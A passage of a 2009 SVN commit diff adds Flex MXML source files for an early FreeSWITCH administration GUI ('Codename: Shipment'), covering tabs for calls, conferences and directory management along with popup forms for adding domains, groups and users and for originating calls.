+				freeswitch.updateDirDomainUserVar(dgDomainUserVars.selectedItem.uid, dgDomainUserVars.selectedItem.name, TextInput(event.currentTarget.itemEditorInstance).text);
+				freeswitch.getDirUser(dgDomainUsers.selectedItem.uid);
+			}
+			
+			public function dgDeleteDomainUserParam():void {
+				freeswitch.deleteDirDomainUserParam(dgDomainUserParam.selectedItem.uid);
+				freeswitch.getDirUser(dgDomainUsers.selectedItem.uid);
+			}
+			
+			public function dgdeleteDomainUserVars():void {
+				freeswitch.deleteDirDomainUserVar(dgDomainUserVars.selectedItem.uid);
+				freeswitch.getDirUser(dgDomainUsers.selectedItem.uid);
+			}
+			        
+			public function doGroupAdd():void {
+				if (groupsDomain.selectedItem.uid){
+					freeswitch.addDirGroup(groupsDomain.selectedItem.uid, textNewGroup.text);
+					freeswitch.getDirGroup(dgDirGroups.selectedItem.uid);
+				} else {
+					Alert.show('You must have a domain Selected', 'Invalid Domain', mx.controls.Alert.OK);
+				}
+			}   
+			
+			public function nonMemberDrop(event:DragEvent):void {
+				Alert.show('Dropped UID?', '-' + '-' +'-', mx.controls.Alert.OK);
+			}
+			
+        ]]>
+    </mx:Script>
+
+    <!-- this is the RemoteObject  used to make the RPC calls -->
+    <mx:RemoteObject id="freeswitch" destination="freeswitch" source="freeswitch"
+            endpoint="/feeder/gateway.php" showBusyCursor="true"/>
+	<mx:states>
+		<mx:State name="main">
+		 	<mx:SetProperty target="{loginWindow}" name="width" value="100%"/>
+			<mx:SetProperty target="{loginWindow}" name="height" value="100%"/>
+			<mx:SetProperty target="{loginWindow}" name="title" value="Codename: Shipment - FreeSWITCH GUI v0.1"/>
+			
+			<mx:RemoveChild target="{username}"/>
+			<mx:RemoveChild target="{password}"/>
+			<mx:RemoveChild target="{hbox1}"/>
+			<mx:RemoveChild target="{hbox2}"/>
+			<mx:RemoveChild target="{buttonLogin}"/>
+			<mx:RemoveChild target="{spacer1}"/>
+			<mx:RemoveChild target="{loginWindow}"/>
+			
+			<mx:AddChild relativeTo="{loginCanvas}" position="lastChild">
+			<mx:TitleWindow defaultButton="{buttonLogin}" resizeEffect="Resize" width="100%" height="100%" layout="vertical" 
+			verticalAlign="middle" horizontalAlign="center" title="Codename: Shipment - FreeSWITCH GUI v0.1"
+			id="mainWindow" creationCompleteEffect="{unblurImage}">
+				<mx:Canvas id="DisplayCanvas" label="DisplayCanvas" width="100%" height="100%" backgroundColor="#FFFFFF">
+				
+				    <mx:TabNavigator width="100%" height="100%">
+				        <mx:Canvas label="Channels" width="100%" height="100%" show="freeswitch.getChannels();">
+				        	
+						        <mx:Button label="Refresh" click="freeswitch.getChannels();" />
+						        <mx:DataGrid id="channelsGrid" dataProvider="{freeswitch.getChannels.lastResult}" left="0" top="30" bottom="0" right="0">
+						            <mx:columns>
+						                <mx:DataGridColumn dataField="uuid" editable="false"/>
+						                <mx:DataGridColumn dataField="cid_name"/>
+						                <mx:DataGridColumn dataField="cid_num"/>
+						                <mx:DataGridColumn dataField="dest"/>
+						                <mx:DataGridColumn dataField="created"/>
+						                <mx:DataGridColumn dataField="read_codec"/>
+						                <mx:DataGridColumn dataField="write_codec"/>
+						            </mx:columns>
+						        </mx:DataGrid>
+					        
+				        	<mx:Button label="Originate" click="doOriginate();"  x="81"/>
+				        	<mx:Button label="Kill UUID" click="freeswitch.killUuid(callsGrid.selectedItem.caller_uuid); freeswitch.getCalls();"  x="168"/>
+				        	<mx:Button label="Status" click="doStatusForm()"  x="253"/>
+				        </mx:Canvas>
+				        <mx:Canvas label="Calls" width="100%" height="100%" show="freeswitch.getCalls();">
+				
+						        <mx:Button label="Refresh" click="freeswitch.getCalls();" />
+						        <mx:Button label="Originate" click="doOriginate();"  x="79"/>
+						        <mx:Button label="Kill UUID" click="freeswitch.killUuid(callsGrid.selectedItem.caller_uuid); freeswitch.getCalls();"  x="166"/>
+						        <mx:Button label="Status" click="doStatusForm()"  x="251"/>
+						        <!-- <mx:DataGrid id="myGrid" dataProvider="{myRemote.getCalls.lastResult}" editable="true" itemEditEnd="save(event)"> -->
+						        <mx:DataGrid id="callsGrid" dataProvider="{freeswitch.getCalls.lastResult}" top="30" bottom="0" left="0" right="0">
+						            <mx:columns>
+						                <mx:DataGridColumn dataField="created"/>
+						                <mx:DataGridColumn dataField="caller_uuid"/>
+						                <mx:DataGridColumn dataField="callee_uuid"/>
+						                <mx:DataGridColumn dataField="caller_cid_name"/>
+						                <mx:DataGridColumn dataField="caller_cid_num"/>
+						                <mx:DataGridColumn dataField="caller_dest_num"/>
+						            </mx:columns>
+						        </mx:DataGrid>
+				
+				        </mx:Canvas>
+				        <mx:Canvas label="Conference" width="100%" height="100%" show="initConfTab();">
+				        	<mx:ComboBox id="confPicker" horizontalCenter="0" top="10" dataProvider="{freeswitch.getConferenceList.lastResult}" 
+				        		change="{freeswitch.getConferenceUsers(confPicker.selectedItem)}"></mx:ComboBox>
+					        <mx:DataGrid id="conferenceGrid" dataProvider="{freeswitch.getConferenceUsers.lastResult}" width="100%" top="43" bottom="145">
+					            <mx:columns>
+					                <mx:DataGridColumn dataField="id"/>
+					                <mx:DataGridColumn dataField="caller_name"/>
+					                <mx:DataGridColumn dataField="caller_number" />
+					                <mx:DataGridColumn dataField="channel" />
+					                <mx:DataGridColumn dataField="uuid"/>
+					                <mx:DataGridColumn dataField="volume"/>
+					                <mx:DataGridColumn dataField="gain"/>
+					                <mx:DataGridColumn dataField="noise"/>
+					                <mx:DataGridColumn dataField="flags"/>
+					            </mx:columns>
+					        </mx:DataGrid>
+					        <mx:Button label="Play File" click="freeswitch.confPlayfile(confPicker.selectedItem, comboConfPlayfile.selectedItem.data);" horizontalCenter="-40" bottom="85"/>
+					        <mx:Button label="Speak" click="{freeswitch.getConferenceUsers(confPicker.selectedItem)}" horizontalCenter="221" bottom="25"/>
+					        <mx:Button label="Refresh Confs" click="{freeswitch.getConferenceList()}" horizontalCenter="-276" bottom="115"/>
+					        <mx:Button label="Refresh Users" click="{freeswitch.getConferenceUsers(confPicker.selectedItem)}" horizontalCenter="-162" bottom="115"/>
+					        <mx:Button label="Kick" click="{freeswitch.kickConferenceUser(confPicker.selectedItem, conferenceGrid.selectedItem.id)}" horizontalCenter="-162" bottom="55"/>
+					        <mx:Button label="DTMF" click="{freeswitch.getCalls()}" horizontalCenter="98" bottom="25"/>
+					        <mx:Button label="Transfer" click="{freeswitch.getCalls()}" horizontalCenter="24" bottom="25"/>
+					        <mx:Button label="Mute" click="{freeswitch.confMute(confPicker.selectedItem, conferenceGrid.selectedItem.id)}" horizontalCenter="-303" bottom="55"/>
+					        <mx:Button label="Unmute" click="{freeswitch.confUnmute(confPicker.selectedItem, conferenceGrid.selectedItem.id)}" horizontalCenter="-232" bottom="55"/>
+					        <mx:Button label="Dial" click="{freeswitch.getCalls()}" horizontalCenter="158" bottom="25"/>
+					        <mx:Button label="Lock" click="freeswitch.confLock(confPicker.selectedItem);" horizontalCenter="-302" bottom="85"/>
+					        <mx:Button label="Unlock" click="freeswitch.confUnlock(confPicker.selectedItem);" horizontalCenter="-236" bottom="85"/>
+					        <mx:CheckBox id="confAutoRefreshCheckBox" label="AutoRefresh" right="204" top="10" selected="true" click="confAutoRefreshControl();"/>
+					        <mx:HSlider id="confAutoRefreshTimeSlider" right="37" top="10" width="162" minimum="5" maximum="120" snapInterval="5" value="15"/>
+					        <mx:Label id="confTimerLabel" text="STOPPED" right="339" top="12"/>
+					        <mx:Label width="23" id="lblRefreshInterval" text="{confAutoRefreshTimeSlider.value.toString()}" right="10" top="12"/>
+					        <mx:Label id="confTimerSecCount" text="Label" right="433" top="12"/>
+					        <mx:TextInput bottom="55" width="406" horizontalCenter="126"/>
+					        <mx:ComboBox id="comboConfPlayfile" width="324" horizontalCenter="167" bottom="85" labelField="label" dataProvider="{freeswitch.getConfPlayfiles.lastResult}" ></mx:ComboBox>
+				        </mx:Canvas>
+				        <mx:Canvas label="Directory" width="100%" height="100%"  show="freeswitch.getDirDomains();">
+				            <mx:TabNavigator x="0" y="0" width="100%" height="100%">
+				                <mx:Canvas label="Domains" width="100%" height="100%">
+					                <mx:HDividedBox x="0" y="0" width="100%" height="100%">
+						                <mx:Canvas width="20%" height="100%">
+						                    <mx:DataGrid id="gridDomainsDomain" width="100%" horizontalCenter="0" top="0" bottom="100" 
+						                    	dataProvider="{freeswitch.getDirDomains.lastResult}" 
+						                    	click="freeswitch.getDirDomain(gridDomainsDomain.selectedItem.uid);">
+						                        <mx:columns>
+						                            <mx:DataGridColumn headerText="domain" dataField="name"/>
+						                        </mx:columns>
+						                    </mx:DataGrid>
+						                    <mx:Button label="Refresh Domains" horizontalCenter="0" bottom="10" click="freeswitch.getDirDomains();"/>
+						                    <mx:Button label="Add Domain" click="doNewDomainForm();" horizontalCenter="0" bottom="70"/>
+						                    <mx:Button label="Delete Domain" click="doNewDomainForm();" horizontalCenter="0" bottom="40"/>
+						                </mx:Canvas>
+						                <mx:Canvas width="80%" height="100%">
+				                			<mx:Label text="UID:" top="10" left="10"/>
+				                			<mx:Label text="{gridDomainsDomain.selectedItem.uid}" id="domainUid" top="10" left="49"/>
+				                			<mx:Label text="Name:" top="12" left="174"/>
+				                			<mx:TextInput id="domainName" text="{gridDomainsDomain.selectedItem.name}" top="10" left="224"/>
+				                			<!-- <mx:CheckBox label="Enabled" id="domainEnabled" enabled="{Boolean(gridDomainsDomain.selectedItem.enabled)}" right="10" top="8" /> -->
+				                			<mx:DataGrid left="10" top="40" bottom="86" width="45%" dataProvider="{freeswitch.getDirDomain.lastResult.params}"
+				                				itemEditEnd="dgChangeDomainParam(event);" editable="true" id="dgDomainParam">
+				                				<mx:columns>
+				                					<mx:DataGridColumn headerText="Parameter" dataField="name" width="120" editable="false" />
+				                					<mx:DataGridColumn headerText="Value" dataField="value"/>
+				                				</mx:columns>
+				                			</mx:DataGrid>
+				                			<mx:DataGrid right="10" top="40" bottom="86" width="45%" dataProvider="{freeswitch.getDirDomain.lastResult.variables}" 
+				                				itemEditEnd="dgChangeDomainVars(event);" editable="true" id="dgDomainVars">
+				                				<mx:columns>
+				                					<mx:DataGridColumn headerText="Variable" dataField="name" width="120" editable="false"/>
+				                					<mx:DataGridColumn headerText="Data" dataField="value"/>
+				                				</mx:columns>
+				                			</mx:DataGrid>
+				                			<mx:Button label="Refresh Domain" right="10" top="10" height="22" click="freeswitch.getDirDomain(gridDomainsDomain.selectedItem.uid);"/>
+				                			<mx:Button label="Add Parameter" left="139" bottom="10" click="addDomainParam()"/>
+				                			<mx:Button label="Add Variable" bottom="10" right="183" width="99" click="addDomainVar()"/>
+				                			<mx:Label text="Parameter" bottom="60" left="10"/>
+				                			<mx:TextInput width="121" id="inputDomainParamName" bottom="40" left="10"/>
+				                			<mx:TextInput width="272" id="inputDomainParamValue" bottom="40" left="139"/>
+				                			<mx:Label text="Variable" bottom="60" right="361"/>
+				                			<mx:TextInput width="121" id="inputDomainVarName" bottom="40" right="290"/>
+				                			<mx:TextInput width="272" id="inputDomainVarValue" bottom="40" right="10"/>
+				                			<mx:Label text="Data" bottom="60" right="251"/>
+				                			<mx:Label text="Value" bottom="60" left="139"/>
+				                			<mx:Button label="Delete Param" left="26" bottom="10" click="dgDeleteDomainParam()"/>
+				                			<mx:Button label="Delete Variable" bottom="10" right="290" click="dgDeleteDomainVars()"/>
+						                </mx:Canvas>
+						            </mx:HDividedBox>                
+				                </mx:Canvas>
+				                <mx:Canvas label="Users" width="100%" height="100%" show="freeswitch.getDirUsers(userDomain.selectedItem.uid);">
+					                <mx:HDividedBox x="0" y="0" width="100%" height="100%">
+						                <mx:Canvas width="20%" height="100%">
+						                    <mx:ComboBox id="userDomain" top="10" horizontalCenter="0" dataProvider="{freeswitch.getDirDomains.lastResult}" 
+						                    	labelField="name" change="freeswitch.getDirUsers(userDomain.selectedItem.uid);"></mx:ComboBox>
+						                    <mx:DataGrid id="dgDomainUsers" width="100%" horizontalCenter="0" top="40" bottom="130" dataProvider="{freeswitch.getDirUsers.lastResult}"
+						                    	click="freeswitch.getDirUser(dgDomainUsers.selectedItem.uid)">
+						                        <mx:columns>
+						                            <mx:DataGridColumn headerText="User" dataField="username" />
+						                        </mx:columns>
+						                    </mx:DataGrid>
+						                    <mx:Button label="Refresh Users" horizontalCenter="0" bottom="40" click="freeswitch.getDirUsers(userDomain.selectedItem.uid);"/>
+						                    <mx:Button label="Refresh Domains" horizontalCenter="0" bottom="10" click="freeswitch.getDirDomains();"/>
+						                    <mx:Button label="Add User" click="doNewUserForm();" horizontalCenter="0" bottom="100"/>
+						                    <mx:Button label="Delete User" click="doNewUserForm();" horizontalCenter="0" bottom="70"/>
+						                </mx:Canvas>
+						                <mx:Canvas width="80%" height="100%">
+						                	<mx:Label text="UID:" top="10" left="10"/>
+				                			<mx:Label text="{dgDomainUsers.selectedItem.uid}" id="userUid" top="10" left="49"/>
+				                			<mx:Label text="Name:" top="12" left="173"/>
+				                			<mx:TextInput id="userName" text="{dgDomainUsers.selectedItem.username}" top="10" left="224"/>
+				                			<!-- <mx:CheckBox label="Enabled" id="userEnabled" enabled="{dgDomainUsers.selectedItem.enabled}" right="330" top="8" left="493"/> -->
+				                			<mx:DataGrid left="10" top="40" bottom="86" width="45%" dataProvider="{freeswitch.getDirUser.lastResult.params}"
+				                				itemEditEnd="dgChangeDomainUserParam(event);" editable="true" id="dgDomainUserParam">
+				                				<mx:columns>
+				                					<mx:DataGridColumn headerText="Parameter" dataField="name" width="120" editable="false"/>
+				                					<mx:DataGridColumn headerText="Value" dataField="value"/>
+				                				</mx:columns>
+				                			</mx:DataGrid>
+				                			<mx:DataGrid right="10" top="40" bottom="86" width="45%" dataProvider="{freeswitch.getDirUser.lastResult.variables}" 
+				                				itemEditEnd="dgChangeDomainUserVars(event);" editable="true" id="dgDomainUserVars">
+				                				<mx:columns>
+				                					<mx:DataGridColumn headerText="Variable" dataField="name" width="120" editable="false"/>
+				                					<mx:DataGridColumn headerText="Data" dataField="value"/>
+				                				</mx:columns>
+				                			</mx:DataGrid>
+				                			<mx:Button label="Refresh User" right="10" top="8" height="22" click="freeswitch.getDirUser(dgDomainUsers.selectedItem.uid)"/>
+				                			<mx:Button label="Add Parameter" left="139" bottom="10" click="addDomainUserParam()"/>
+				                			<mx:Button label="Delete Param" bottom="10" left="26" click="dgDeleteDomainUserParam();"/>
+				                			<mx:Button label="Add Variable" bottom="10" right="183" width="99" click="addDomainUserVar()"/>
+				                			<mx:Label text="Parameter" bottom="60" left="10"/>
+				                			<mx:TextInput width="121" id="inputDomainUserParamName" bottom="40" left="10"/>
+				                			<mx:TextInput width="272" id="inputDomainUserParamValue" bottom="40" left="139"/>
+				                			<mx:Label text="Variable" bottom="60" right="361"/>
+				                			<mx:TextInput width="121" id="inputDomainUserVarName" bottom="40" right="290"/>
+				                			<mx:TextInput width="272" id="inputDomainUserVarValue" bottom="40" right="10"/>
+				                			<mx:Label text="Data" bottom="60" right="251"/>
+				                			<mx:Label text="Value" bottom="60" left="139"/>
+				                			<mx:Button label="Delete Variable" bottom="10" right="290" click="dgdeleteDomainUserVars();"/>
+						                </mx:Canvas>
+						            </mx:HDividedBox>
+				                </mx:Canvas>
+				                <mx:Canvas label="Groups" width="100%" height="100%" show="freeswitch.getDirGroups(groupsDomain.selectedItem.uid)">
+					                <mx:HDividedBox x="0" y="0" width="100%" height="100%">
+						                <mx:Canvas width="20%" height="100%">
+						                    <mx:ComboBox top="10" horizontalCenter="0" id="groupsDomain" dataProvider="{freeswitch.getDirDomains.lastResult}" labelField="name"></mx:ComboBox>
+						                    <mx:DataGrid id="dgDirGroups" width="100%" horizontalCenter="0" top="40" bottom="70" dataProvider="{freeswitch.getDirGroups.lastResult}" 
+						                    	click="freeswitch.getDirGroup(dgDirGroups.selectedItem.uid)">
+						                        <mx:columns>
+						                            <mx:DataGridColumn headerText="Group" dataField="name"/>
+						                        </mx:columns>
+						                    </mx:DataGrid>
+						                    <mx:Button label="Refresh Groups" horizontalCenter="0" bottom="40" click="freeswitch.getDirGroups(groupsDomain.selectedItem.uid)"/>
+						                    <mx:Button label="Refresh Domains" horizontalCenter="0" bottom="10" click="freeswitch.getDirDomains()"/>
+						                </mx:Canvas>
+						                <mx:Canvas width="80%" height="100%">
+						                	<mx:DataGrid id="dgGroupMembers" width="45%" left="10" top="38" bottom="70" dataProvider="{freeswitch.getDirGroup.lastResult.members}" 
+						                		dragEnabled="true" dragMoveEnabled="true" dropEnabled="true">
+						                		<mx:columns>
+						                			<mx:DataGridColumn headerText="Member" dataField="usersUsername"/>
+						                		</mx:columns>
+						                	</mx:DataGrid>
+						                	<mx:DataGrid id="dgGroupNonMembers" width="45%" right="10" top="38" bottom="70" dataProvider="{freeswitch.getDirGroup.lastResult.nonmembers}" 
+						                		dragEnabled="true" dragMoveEnabled="true" dropEnabled="true" dragDrop="nonMemberDrop(event);">
+						                		<mx:columns>
+						                			<mx:DataGridColumn headerText="Available to Join" dataField="usersUsername"/>
+						                		</mx:columns>
+						                	</mx:DataGrid>
+						                	<mx:Button label="Refresh" click="freeswitch.getDirGroup(dgDirGroups.selectedItem.uid)" right="10" width="71" top="10" height="22"/>
+						                	<mx:Label text="New Group" bottom="42" left="10" width="81"/>
+						                	<mx:TextInput bottom="40" id="textNewGroup" left="99" width="256"/>
+						                	<mx:Button label="Create Group" bottom="10" click="doGroupAdd();" left="81" width="101"/>
+						                	<mx:Label text="UID:" top="10" left="10"/>
+						                	<mx:Label text="{dgDirGroups.selectedItem.uid}" id="groupUID" top="10" left="49"/>
+						                	<mx:Label text="Name:" top="12" left="173"/>
+						                	<mx:TextInput id="groupName" text="{dgDirGroups.selectedItem.name}" top="10" left="224"/>
+						                </mx:Canvas>
+						            </mx:HDividedBox>
+				                </mx:Canvas>
+				            </mx:TabNavigator>
+				        </mx:Canvas>
+				        <mx:Canvas label="IVR Menus" width="100%" height="100%">
+				        	<mx:HDividedBox x="0" y="0" width="100%" height="100%">
+				                <mx:Canvas width="20%" height="100%">
+				                    <mx:ComboBox top="10" horizontalCenter="0" id="ivrsDomain" dataProvider="{freeswitch.getDirDomains.lastResult}" labelField="name"></mx:ComboBox>
+				                    <mx:DataGrid id="dgIvrGrid" width="100%" horizontalCenter="0" top="40" bottom="70"> <!-- dataProvider="{freeswitch.getDirGroups.lastResult}"  
+				                    	click="freeswitch.getDirGroup(dgDirGroups.selectedItem.uid)"> -->
+				                        <mx:columns>
+				                            <mx:DataGridColumn headerText="Group" dataField="name"/>
+				                        </mx:columns>
+				                    </mx:DataGrid>
+				                    <mx:Button label="Refresh Menus" horizontalCenter="0" bottom="40" click="freeswitch.getDirGroups(groupsDomain.selectedItem.uid)"/>
+				                    <mx:Button label="Refresh Domains" horizontalCenter="0" bottom="10" click="freeswitch.getDirDomains()"/>
+				                </mx:Canvas>
+				                <mx:Canvas width="80%" height="100%">
+				                	<mx:Form width="340" height="450">
+				                		<mx:FormItem label="Label" width="100%">
+				                			<mx:TextInput width="100%"/>
+				                		</mx:FormItem>
+				                		<mx:FormItem label="Label" width="100%">
+				                			<mx:TextInput width="100%"/>
+				                		</mx:FormItem>
+				                		<mx:FormItem label="Label" width="100%">
+				                			<mx:TextInput width="100%"/>
+				                		</mx:FormItem>
+				                		<mx:FormItem label="Label" width="100%">
+				                			<mx:TextInput width="100%"/>
+				                		</mx:FormItem>
+				                		<mx:FormItem label="Label" width="100%">
+				                			<mx:NumericStepper/>
+				                		</mx:FormItem>
+				                		<mx:FormItem label="Label" width="100%">
+				                			<mx:NumericStepper/>
+				                		</mx:FormItem>
+				                		<mx:FormItem label="Label" width="100%">
+				                			<mx:NumericStepper/>
+				                		</mx:FormItem>
+				                		<mx:FormItem label="Label" width="100%">
+				                			<mx:NumericStepper/>
+				                		</mx:FormItem>
+				                		<mx:FormItem label="Label" width="100%">
+				                			<mx:NumericStepper/>
+				                		</mx:FormItem>
+				                	</mx:Form>
+				                </mx:Canvas>
+			                </mx:HDividedBox>
+				        </mx:Canvas>
+				    </mx:TabNavigator>
+				</mx:Canvas>
+				</mx:TitleWindow>
+			</mx:AddChild>	 
+		</mx:State>
+	 	 
+	</mx:states>
+	
+ 	<mx:Style source="assets/css/Main.css"/>
+	
+	<mx:Blur id="unblurImage" duration="1000" 
+        blurXFrom="10.0" blurXTo="0.0" 
+        blurYFrom="10.0" blurYTo="0.0"/>
+	<mx:Canvas width="100%" height="100%" id="loginCanvas" styleName="Global">
+		<mx:TitleWindow defaultButton="{buttonLogin}" resizeEffect="Resize" width="382" height="198" layout="vertical" 
+			verticalAlign="middle" horizontalAlign="center" title="Codename: Shipment"
+			id="loginWindow" creationCompleteEffect="{unblurImage}" horizontalCenter="0" verticalCenter="0">
+			<mx:HBox width="100%" id="hbox1">
+				<mx:Label text="Username" width="70" fontWeight="bold" textAlign="right"/>
+				<mx:TextInput id="username" displayAsPassword="false" width="100%"  creationComplete="setFocus()"/>
+			</mx:HBox>
+			<mx:HBox width="100%" id="hbox2">
+				<mx:Label text="Password" width="70" fontWeight="bold" textAlign="right" id="label1"/>
+				<mx:TextInput id="password" displayAsPassword="true" width="100%" />
+			</mx:HBox>
+			<mx:Spacer height="100%" id="spacer1"/>
+			<mx:Button label="Login" click="{buttonLogin.label = 'Logging In...'; loginWindow.enabled = false; fakeLogin(); }" id="buttonLogin"/>
+		</mx:TitleWindow>	
+	</mx:Canvas>
+	
+</mx:Application>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newDomainForm.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newDomainForm.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/newDomainForm.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newDomainForm.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newDomainForm.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,45 @@
+<?xml version="1.0"?>
+<mx:TitleWindow xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="doInit();" height="306" title="Add Domain">
+    <mx:Script>
+        <![CDATA[
+            import mx.managers.PopUpManager;
+            import mx.controls.Alert;
+            import mx.rpc.events.ResultEvent;
+            
+            private function doInit():void {
+                PopUpManager.centerPopUp(this);
+            }
+            
+            private function doCall():void {
+				parentApplication.freeswitch.addDirDomain(domainName.text, dialString.text, defaultGateway.text, defaultAreacode.text, xferFallbackExten.text, recordStereo.selected);
+				PopUpManager.removePopUp(this);
+            }
+        ]]>
+    </mx:Script>
+  
+    <mx:Form width="100%">
+        <mx:FormItem label="Domain Name" width="100%">
+            <mx:TextInput id="domainName"  width="100%"/>
+        </mx:FormItem>
+        <mx:FormItem label="Dial String" width="100%">
+            <mx:TextInput id="dialString" width="100%"/>
+        </mx:FormItem>
+        <mx:FormItem label="default_gateway" width="100%">
+            <mx:TextInput id="defaultGateway" width="100%"/>
+        </mx:FormItem>         
+        <mx:FormItem label="Default Areacode" width="100%">
+            <mx:TextInput id="defaultAreacode" width="100%"/>
+        </mx:FormItem>
+        <mx:FormItem label="Xfer Fallback Exten" width="100%">
+            <mx:TextInput id="xferFallbackExten" width="100%"/>
+        </mx:FormItem> 
+        <mx:FormItem label="Record Stereo">
+            <mx:CheckBox id="recordStereo" />
+        </mx:FormItem>
+		
+    </mx:Form>
+    <mx:HBox horizontalAlign="center" width="314"> 
+        <mx:Button click="doCall();" label="Add Domain"/> 
+        <mx:Button click="PopUpManager.removePopUp(this);" label="Cancel"/> 
+    </mx:HBox> 
+</mx:TitleWindow>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newGroupForm.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newGroupForm.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/newGroupForm.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newGroupForm.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newGroupForm.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,46 @@
+<?xml version="1.0"?>
+<mx:TitleWindow xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="doInit();" height="306" title="Add Group">
+    <mx:Script>
+        <![CDATA[
+            import mx.managers.PopUpManager;
+            import mx.controls.Alert;
+            import mx.rpc.events.ResultEvent;
+            
+            private function doInit():void {
+                PopUpManager.centerPopUp(this);
+            }
+            
+            private function doCall():void {
+				parentApplication.freeswitch.addDirDomain(domainName.text, dialString.text, defaultGateway.text, defaultAreacode.text, xferFallbackExten.text, recordStereo.selected);
+				PopUpManager.removePopUp(this);
+            }
+        ]]>
+    </mx:Script>
+	<mx:Canvas width="320" height="293">
+	    <mx:Form top="26" bottom="80.7" width="90%" horizontalCenter="0">
+	        <mx:FormItem label="Domain Name" width="100%">
+	            <mx:TextInput id="domainName"  width="100%"/>
+	        </mx:FormItem>
+	        <mx:FormItem label="Dial String" width="100%">
+	            <mx:TextInput id="dialString" width="100%"/>
+	        </mx:FormItem>
+	        <mx:FormItem label="default_gateway" width="100%">
+	            <mx:TextInput id="defaultGateway" width="100%"/>
+	        </mx:FormItem>         
+	        <mx:FormItem label="Default Areacode" width="100%">
+	            <mx:TextInput id="defaultAreacode" width="100%"/>
+	        </mx:FormItem>
+	        <mx:FormItem label="Xfer Fallback Exten" width="100%">
+	            <mx:TextInput id="xferFallbackExten" width="100%"/>
+	        </mx:FormItem> 
+	        <mx:FormItem label="Record Stereo">
+	            <mx:CheckBox id="recordStereo" />
+	        </mx:FormItem>
+			
+	    </mx:Form>
+	    <mx:HBox horizontalAlign="center" width="314" horizontalCenter="0" bottom="52"> 
+	        <mx:Button click="doCall();" label="Add Domain"/> 
+	        <mx:Button click="PopUpManager.removePopUp(this);" label="Cancel"/> 
+	    </mx:HBox>
+    </mx:Canvas> 
+</mx:TitleWindow>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newUserForm.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newUserForm.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/newUserForm.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newUserForm.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/newUserForm.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+<?xml version="1.0"?>
+<mx:TitleWindow xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="doInit();" height="366" title="Add User" width="429">
+    <mx:Script>
+        <![CDATA[
+            import mx.managers.PopUpManager;
+            import mx.controls.Alert;
+            import mx.rpc.events.ResultEvent;
+            
+            private function doInit():void {
+                PopUpManager.centerPopUp(this);
+            }
+            
+            private function doCall():void {
+				parentApplication.freeswitch.addDirDomainUser(username.text, mailbox.text, cidr.text, password.text, vm_password.text, cid_name.text, cid_number.text);
+				PopUpManager.removePopUp(this);
+            }
+        ]]>
+    </mx:Script>
+  	<mx:Canvas width="100%" height="100%">
+  		
+	  	
+	    <mx:Form width="90%" horizontalCenter="0" top="19" bottom="117">
+	        <mx:FormItem label="UserName" width="100%">
+	            <mx:TextInput id="username"  width="100%"/>
+	        </mx:FormItem>
+	        <mx:FormItem label="Mailbox" width="100%">
+	            <mx:TextInput id="mailbox" width="100%"/>
+	        </mx:FormItem>
+	        <mx:FormItem label="CIDR" width="100%">
+	            <mx:TextInput id="cidr" width="100%"/>
+	        </mx:FormItem>         
+	        <mx:FormItem label="Password" width="100%">
+	            <mx:TextInput id="password" width="100%"/>
+	        </mx:FormItem>
+	        <mx:FormItem label="VM PIN" width="100%">
+	            <mx:TextInput id="vm_password" width="100%"/>
+	        </mx:FormItem> 
+			<mx:FormItem label="CallerID Name" width="100%">
+	            <mx:TextInput id="cid_name" width="100%"/>
+	        </mx:FormItem>
+			<mx:FormItem label="CallerID Number" width="100%">
+	            <mx:TextInput id="cid_number" width="100%"/>
+	        </mx:FormItem>
+	    </mx:Form>
+	    <mx:HBox horizontalAlign="center" width="314" horizontalCenter="0" bottom="20"> 
+	        <mx:Button click="doCall();" label="Add User"/> 
+	        <mx:Button click="PopUpManager.removePopUp(this);" label="Cancel"/> 
+	    </mx:HBox>
+    </mx:Canvas> 
+</mx:TitleWindow>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/originateForm.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/originateForm.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/originateForm.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/originateForm.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/originateForm.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,47 @@
+<?xml version="1.0"?>
+<mx:TitleWindow xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="doInit();" height="306" title="Originate">
+    <mx:Script>
+        <![CDATA[
+            import mx.managers.PopUpManager;
+            import mx.controls.Alert;
+            import mx.rpc.events.ResultEvent;
+            
+            private function doInit():void {
+                PopUpManager.centerPopUp(this);
+            }
+            
+            private function doCall():void {
+				parentApplication.freeswitch.originate(call_url.text, exten.text, dialplan.text, context.text, cid_name.text, cid_number.text, timeout.text);
+				PopUpManager.removePopUp(this);
+            }
+        ]]>
+    </mx:Script>
+  
+    <mx:Form width="100%">
+        <mx:FormItem label="Call URL" width="100%">
